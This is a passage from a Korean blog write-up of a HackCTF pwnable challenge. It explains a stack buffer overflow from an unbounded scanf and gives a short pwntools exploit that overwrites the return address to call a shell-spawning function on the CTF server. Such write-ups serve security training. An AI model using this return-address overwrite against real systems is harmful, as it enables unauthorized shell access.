728x90
check
- 64bit
- NX만 설정되어 있음 >> 단순한 return address 변조로 풀 수 있을 것!
Analyze
pseudo code
- 스택 버퍼로 s를 만들고 ebp로부터 0x110byte 떨어진 곳에 위치한다. 그리고 scanf 함수를 통해 입력받는다. 이 때 입력받는 크기를 특정하지않기 때문에 Buffer Overflow가 발생할 수 있다.
- 변수 v5에는 문자열 s의 길이가 저장된다.
- 수상한 함수인 callMeMaybe..
- 이 함수를 RET 값으로 주면 execve("/bin/bash")가 실행되어 쉘을 딸 수 있을 것 같다.
Exploit
from pwn import *
p=remote("ctf.j0n9hyun.xyz", 3004)
pl="A"*(0x110)
pl+="A"*8
pl+=p64(0x400606)
p.sendline(pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.02.09 |
---|---|
[HackCTF] x64 Simple_size_BOF (0) | 2021.02.09 |
[LOB] orc → wolfman (0) | 2021.02.05 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1) (2) | 2021.02.04 |
[HackCTF] offset (2) | 2021.02.03 |